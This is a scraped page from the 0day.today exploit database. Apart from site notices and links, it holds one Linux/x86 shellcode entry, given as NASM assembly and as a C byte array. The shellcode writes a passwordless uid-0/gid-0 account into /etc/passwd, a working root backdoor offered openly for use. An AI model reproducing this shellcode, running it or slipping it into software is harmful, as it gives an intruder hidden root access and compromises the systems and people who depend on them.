0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)
/************************************************************* This shellcode writes to /etc/passwd the string for the user with uid&gid == 0; written by dev0id dev0id@mail.ru (rootteam.void.ru) #rus-sec /Efnet.org greetz: nerf w00w00 ************************************************************* BITS 32 jmp short path main: pop esi xor eax,eax push eax mov byte [esi+11],al mov al,0x0a push eax push esi mov al,5 push eax int 0x80 mov edx,eax push long 0x0a206873 push long 0x2f6e6962 push long 0x2f3a2f3a push long 0x313a303a push long 0x303a3a31 mov ebx,esp mov al,20 push eax push ebx push edx mov al,4 push eax int 0x80 mov al,1 push eax int 0x80 path: call main db "/etc/passwd#" ********************************************************************/ char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x50\x88\x46\x0b\xb0\x0a\x50\x56\xb0\x05" "\x50\xcd\x80\x89\xc2\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f" "\x68\x3a\x2f\x3a\x2f\x68\x3a\x30\x3a\x31\x68\x31\x3a\x3a\x30" "\x89\xe3\xb0\x14\x50\x53\x52\xb0\x04\x50\xcd\x80\xb0\x01\x50" "\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73" "\x73\x77\x64\x23"; # 0day.today [2024-11-16] #